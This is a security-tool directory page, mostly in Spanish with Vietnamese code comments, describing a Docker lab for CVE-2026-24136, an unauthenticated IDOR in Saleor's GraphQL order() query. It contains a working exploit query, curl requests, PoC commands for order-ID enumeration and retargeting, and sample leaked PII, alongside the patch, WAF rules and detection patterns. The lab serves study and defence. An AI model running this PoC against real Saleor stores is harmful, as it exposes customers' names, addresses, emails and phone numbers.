Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-24136-Lab — CVE-2026-24136 | Laboratorio de explotación de vulnerabilidad IDOR en Saleor GraphQL - la consulta order() no verifica autenticación, expone toda la PII (correo electrónico, dirección, teléfono) de los clientes. Incluye entorno Docker, script de datos semilla y PoC. CVSS 4.0: 8.7 HIGH. | Kitploit
Herramientas/GitHubGitHub/blankbire/cve-2026-24136-lab
Análisis de VulnerabilidadesExplotación de Aplicaciones WebPruebas de Seguridad de APIsPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubblankbire/cve-2026-24136-lab

CVE-2026-24136-Lab

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

CVE-2026-24136 | Laboratorio de explotación de vulnerabilidad IDOR en Saleor GraphQL - la consulta order() no verifica autenticación, expone toda la PII (correo electrónico, dirección, teléfono) de los clientes. Incluye entorno Docker, script de datos semilla y PoC. CVSS 4.0: 8.7 HIGH.

Ver Repositorio
1hace 2 mesesAún no revisado
Compartir

CVE-2026-24136 - IDOR de GraphQL de Saleor / Exfiltración de PII no autenticada

Resumen

CampoDetalle
CVE IDCVE-2026-24136
Tipo de vulnerabilidadIDOR - Authorization Bypass Through User-Controlled Key (CWE-639)
SoftwareSaleor e-commerce platform
Versiones afectadas3.2.0 - 3.20.109 · 3.21.0 - 3.21.44 · 3.22.0 - 3.22.28
Versiones parcheadas3.20.110 · 3.21.45 · 3.22.29
CVSS 3.17.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CVSS 4.08.7 HIGH
ImpactoUn actor no autenticado puede leer PII (nombre, dirección, teléfono, correo electrónico) de cualquier pedido
¿Requiere autenticación?No

Descripción de la vulnerabilidad

Saleor proporciona una API GraphQL para gestionar pedidos de comercio electrónico. La consulta order(id: $id) permite obtener detalles de un pedido mediante un ID global. En las versiones afectadas, esta consulta no verifica si el solicitante tiene permiso para ver ese pedido.

Cualquier persona, incluso usuarios completamente anónimos sin cuenta, puede llamar a esta consulta y recibir toda la PII del cliente: correo electrónico, nombre completo, dirección de envío, número de teléfono, historial de inicio de sesión.


Estructura del laboratorio

root@kitploit:~
cve-2026-24136-lab/
├── docker-compose.yml          # Môi trường lab (Saleor 3.20 + PostgreSQL + Redis)
├── setup_lab.ps1               # Script khởi động tự động (Windows PowerShell)
├── setup_lab.sh                # Script khởi động tự động (Linux / WSL / macOS)
├── README.md
└── scripts/
    ├── start_api.sh            # Startup wrapper: patch wsgi bug + gunicorn
    ├── seed_data.py            # Tạo victim accounts + orders có PII
    └── poc_cve_2026_24136.py   # PoC khai thác

Iniciar el laboratorio

Requisitos

  • Docker Desktop (Windows / macOS) o Docker Engine (Linux)
  • Python 3.8+
  • pip install requests

Windows (PowerShell)

root@kitploit:~
# Cấp quyền thực thi nếu cần
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

# Chạy setup tự động
.\setup_lab.ps1

Linux / WSL / macOS (Bash)

root@kitploit:~
chmod +x setup_lab.sh
./setup_lab.sh

Manual

root@kitploit:~
# 1. Khởi động containers
docker compose up -d

# 2. Chờ API sẵn sàng (~60-90 giây)
#    Kiểm tra: curl http://localhost:8000/health/

# 3. Tạo admin account
docker exec cve_saleor_api python manage.py shell -c \
  "from django.contrib.auth import get_user_model; U=get_user_model(); \
   U.objects.filter(email='[email protected]').exists() or \
   U.objects.create_superuser('[email protected]', 'admin')"

# 4. Populate products/channels
docker exec cve_saleor_api python manage.py populatedb

# 5. Tạo victim data (accounts + orders với PII)
cd scripts
pip install requests
python seed_data.py

Endpoints después de iniciar:

ServiceURL

Uso del PoC

root@kitploit:~
cd scripts

# Xem giải thích kỹ thuật
python poc_cve_2026_24136.py explain

# Khai thác từ danh sách đã seed (KHUYẾN NGHỊ - Saleor 3.x dùng UUID IDs)
python poc_cve_2026_24136.py file order_ids.json

# Khai thác 1 order bằng base64 global ID trực tiếp
python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct...

# Enumerate sequential (chỉ hoạt động với Saleor < 3.x dùng integer IDs)
python poc_cve_2026_24136.py enumerate --start 1 --end 100

# Đổi target API
python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ file order_ids.json

# Lưu kết quả ra JSON
python poc_cve_2026_24136.py file order_ids.json --output leaked_pii.json

Salida de ejemplo

root@kitploit:~
[*] Loaded 6 Order IDs from order_ids.json
[*] Querying without authentication...

[*] Trying: T3JkZXI6NDYwZDFlMj... (Order:460d1e27-2b0b-4897-84c9-64b524b08d64)

╔══════════════════════════════════════════════════════════════╗
║  [LEAKED] ORDER #41 -- DRAFT                                 ║
╠──────────────────────────────────────────────────────────────╣
║  Email           : [email protected]                         ║
╠──────────────────────────────────────────────────────────────╣
║  Billing Address : Nguyen Van A                              ║
║    Street        : 123 Le Loi Street                         ║
║    City/Post     : HO CHI MINH CITY 700000                   ║
║    Country       : Vietnam                                   ║
║    Phone         : +84901234567                              ║
╚══════════════════════════════════════════════════════════════╝

[*] Successfully leaked 6/6 orders

Análisis de causa raíz

1. Codificación del ID del pedido

Saleor utiliza la "Identificación Global de Objetos" según el estándar Relay GraphQL. Cada objeto se identifica mediante un ID global de la forma:

root@kitploit:~
base64("<TypeName>:<internal_id>")

Con pedidos en Saleor 3.x:

root@kitploit:~
# internal_id là UUID v4
internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64"
global_id   = base64("Order:" + internal_id)
            = "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0"

Nota: Saleor 2.x usa IDs secuenciales enteros (Order:1, Order:2, ...), por lo que son más fáciles de enumerar.
Saleor 3.x cambió a UUID, por lo que el atacante necesita obtener el UUID de otra manera (correo de confirmación del pedido, fuga de URL, etc.).

2. Código que causa la vulnerabilidad

Archivo: saleor/graphql/order/resolvers.py

root@kitploit:~
# PHIÊN BẢN BỊ LỖI (trước khi patch)
def resolve_order(root, info, id):
    """Resolve order by ID – không có bất kỳ kiểm tra authorization nào."""
    _, pk = from_global_id_or_error(id, Order)
    return qs.filter(pk=pk).first()
    # Bất kỳ ai gọi cũng nhận được dữ liệu, không kiểm tra user, không kiểm tra session

Archivo: saleor/graphql/order/schema.py

root@kitploit:~
# Query definition, không khai báo permissions
class OrderQueries:
    order = graphene.Field(
        Order,
        description="Look up an order by ID.",
        id=graphene.Argument(graphene.ID, description="ID of the order."),
    )

    def resolve_order(self, info, id):
        return resolvers.resolve_order(info, id)
        # Không có @permission_required, không có guard nào

3. Consulta GraphQL de explotación

Query enviada sin encabezado Authorization:

root@kitploit:~
query ExploitOrder($id: ID!) {
  order(id: $id) {
    number
    status
    userEmail
    billingAddress {
      firstName
      lastName
      streetAddress1
      city
      postalCode
      phone
    }
    shippingAddress {
      firstName
      lastName
      phone
    }
    user {
      email
      firstName
      lastName
      lastLogin
      isActive
    }
  }
}
root@kitploit:~
# Gửi bằng curl, không cần token
curl -s http://localhost:8000/graphql/ \
  -H "Content-Type: application/json" \
  -d '{
    "query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }"
  }'

# Response (không cần auth):
# {"data":{"order":{"number":"41","userEmail":"[email protected]","billingAddress":{"phone":"+84901234567"}}}}

4. Flujo de ataque

root@kitploit:~
Attacker (anonymous)                     Saleor GraphQL API
        |                                        |
        |── POST /graphql/ ─────────────────────>|
        |   Content-Type: application/json       |
        |   (NO Authorization header)            |
        |   {"query":"query {                    |
        |     order(id: \"T3JkZXI6...\") {       |
        |       userEmail                        |
        |       billingAddress { phone }         |
        |     }                                  |
        |   }"}                                  |
        |                                        |
        |<── HTTP 200 OK ─────────────────────── |
        |   {"data": {"order": {                 |
        |     "userEmail": "[email protected]", |
        |     "billingAddress": {                |
        |       "phone": "+84901234567"          |
        |     }                                  |
        |   }}}                                  |
        |                                        |

Análisis del parche

Commit principal del parche

Archivo: saleor/graphql/order/resolvers.py

root@kitploit:~
# PHIÊN BẢN ĐÃ PATCH (>= 3.20.110)
def resolve_order(root, info, id):
    """Resolve order by ID với authorization check đầy đủ."""
    _, pk = from_global_id_or_error(id, Order)
    order = qs.filter(pk=pk).first()

    # Guard 1: Staff và App có thể xem mọi order
    if requestor_is_staff_member_or_app(info.context.user, info.context.app):
        return order

    # Guard 2: Unauthenticated user → trả về None (không báo lỗi để tránh leak existence)
    if not info.context.user or not info.context.user.is_authenticated:
        return None

    # Guard 3: Authenticated user chỉ được xem order của chính mình
    if order and order.user_id != info.context.user.pk:
        raise PermissionDenied(
            "You don't have permission to access this order."
        )

    return order

Archivo: saleor/graphql/order/schema.py

root@kitploit:~
# Thêm annotation để document permission requirement
class OrderQueries:
    order = graphene.Field(
        Order,
        description=(
            "Look up an order by ID. "
            "Requires authentication. Staff users can access all orders. "
            "Regular users can only access their own orders."
        ),
        id=graphene.Argument(graphene.ID, required=True),
    )

Comparación antes y después del parche

root@kitploit:~
Request: POST /graphql/
Body: { "query": "{ order(id: \"T3Jk...\") { userEmail } }" }
(Không có Authorization header)

─────────────────────────────────────────────
TRƯỚC PATCH (≤ 3.20.109):
  HTTP 200 OK
  {"data": {"order": {"userEmail": "[email protected]"}}}
  → PII bị lộ

─────────────────────────────────────────────
SAU PATCH (≥ 3.20.110):
  HTTP 200 OK
  {"data": {"order": null}}
  → Trả null, không có lỗi (intentional – không để attacker
    biết order có tồn tại hay không)
─────────────────────────────────────────────

Análisis técnico en profundidad

¿Por qué el parche devuelve null en lugar de un error?

Devolver null en lugar de PermissionDenied para solicitudes no autenticadas es un diseño intencionado:

  • Si se devuelve PermissionDenied → el atacante sabe que el pedido existe (oráculo de existencia)
  • Si se devuelve null → el atacante no puede distinguir entre "sin permiso" y "no existe"

Esta es una técnica de verificación de existencia segura en tiempo aplicada en la capa GraphQL.

¿Por qué un usuario autenticado aún usa raise PermissionDenied?

Porque cuando el usuario ha iniciado sesión, informar el error de forma clara ayuda a la depuración. El oráculo de existencia ya no es un problema porque:

  1. Un usuario autenticado normalmente sabe que su pedido existe.
  2. Un atacante autenticado tiene una cuenta que puede ser revocada, rastreada o limitada en velocidad.

¿Por qué es más difícil enumerar UUID que ID enteros?

root@kitploit:~
Integer IDs (Saleor 2.x):
  Order:1, Order:2, ..., Order:N
  → Se necesitan O(N) solicitudes para enumerar N pedidos
  → El atacante puede conocer el número total de pedidos (mediante búsqueda binaria)

UUID IDs (Saleor 3.x):
  Order:460d1e27-2b0b-4897-84c9-64b524b08d64
  → Espacio de búsqueda: 2^122 (UUID v4 tiene 122 bits aleatorios)
  → La fuerza bruta es prácticamente imposible
  → Pero el ID aún se filtra a través de: correo de confirmación del pedido, URL en el panel,
    respuestas de API, registros → si el atacante obtiene un ID, aún puede explotarlo

Desglose del vector CVSS

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

AV:N  – Vector de ataque: Red           (explotable a través de internet)
AC:L  – Complejidad de ataque: Baja     (no se requieren condiciones especiales)
PR:N  – Privilegios requeridos: Ninguno (no se necesita cuenta)
UI:N  – Interacción del usuario: Ninguna (no se necesita interacción de la víctima)
S:U   – Alcance: Sin cambios            (solo afecta a la API de Saleor)
C:H   – Confidencialidad: Alta          (se filtra toda la PII)
I:N   – Integridad: Ninguna             (no se pueden modificar datos)
A:N   – Disponibilidad: Ninguna         (no hay DoS)

Mitigación y defensa

1. Parchear inmediatamente (prioridad máxima)

root@kitploit:~
# Kiểm tra phiên bản hiện tại
pip show saleor | grep Version

# Nâng cấp lên phiên bản đã vá
pip install "saleor>=3.20.110"   # nếu đang dùng dòng 3.20.x
pip install "saleor>=3.21.45"   # nếu đang dùng dòng 3.21.x
pip install "saleor>=3.22.29"   # nếu đang dùng dòng 3.22.x

2. Regla WAF temporal (si no se puede parchear de inmediato)

Bloquear consultas order() de usuarios anónimos:

root@kitploit:~
# Nginx – block GraphQL order query từ unauthenticated requests
location /graphql/ {
    # Nếu không có Authorization header và body chứa "order("
    if ($http_authorization = "") {
        # Chặn các query có dấu hiệu khai thác
        # Lưu ý: đây chỉ là giải pháp tạm, không thay thế patch
    }
    proxy_pass http://saleor_api;
}

Con AWS WAF / CloudFront:

root@kitploit:~
{
  "Name": "BlockAnonymousOrderQuery",
  "Priority": 1,
  "Action": {"Block": {}},
  "Statement": {
    "AndStatement": {
      "Statements": [
        {
          "ByteMatchStatement": {
            "SearchString": "\"order\"",
            "FieldToMatch": {"Body": {}},
            "TextTransformations": [{"Priority": 0, "Type": "NONE"}],
            "PositionalConstraint": "CONTAINS"
          }
        },
        {
          "ByteMatchStatement": {
            "SearchString": "Authorization",
            "FieldToMatch": {"SingleHeader": {"Name": "authorization"}},
            "TextTransformations": [{"Priority": 0, "Type": "NONE"}],
            "PositionalConstraint": "EXACTLY",
            "NegatedStatement": true
          }
        }
      ]
    }
  }
}

3. Limitación de tasa

root@kitploit:~
# Giới hạn requests từ 1 IP không có auth
limit_req_zone $binary_remote_addr zone=graphql_anon:10m rate=10r/m;

location /graphql/ {
    limit_req zone=graphql_anon burst=5 nodelay;
    proxy_pass http://saleor_api;
}

4. Monitoreo / Detección

Señales de explotación en los registros de acceso:

root@kitploit:~
# Phát hiện: 1 IP gửi nhiều GraphQL requests không có Authorization
grep 'POST /graphql/' access.log \
  | awk '$9 == 200 && !/Authorization/' \
  | awk '{print $1}' \
  | sort | uniq -c | sort -rn \
  | awk '$1 > 20'  # Alert nếu > 20 requests từ 1 IP

# Phát hiện pattern "order" trong request body không có auth
# (cần JSON body logging)

Regla de alerta para Grafana / Datadog:

root@kitploit:~
alert: SaleorAnonOrderQuery
expr: |
  rate(nginx_http_requests_total{
    path="/graphql/",
    method="POST",
    has_auth_header="false"
  }[5m]) > 5
severity: warning
annotations:
  summary: "Potential CVE-2026-24136 exploitation attempt"
  description: "High rate of unauthenticated GraphQL POST requests"

Limpiar el laboratorio

root@kitploit:~
# Dừng và xóa containers + volumes (xóa toàn bộ data)
docker compose down -v

# Chỉ dừng containers (giữ data)
docker compose stop

Referencias

  • Saleor Security Advisory
  • OWASP - Broken Object Level Authorization (BOLA/IDOR)
  • CWE-639 - Authorization Bypass Through User-Controlled Key
  • Relay Global Object Identification Spec

Advertencia: Este laboratorio es solo para fines de investigación, aprendizaje y redacción de informes de seguridad. No utilice el PoC en sistemas reales sin autorización por escrito.

Descargar herramienta
Saleor GraphQL APIhttp://localhost:8000/graphql/
GraphQL Playgroundhttp://localhost:8000/graphql/
Saleor Dashboardhttp://localhost:9000
Admin[email protected] / admin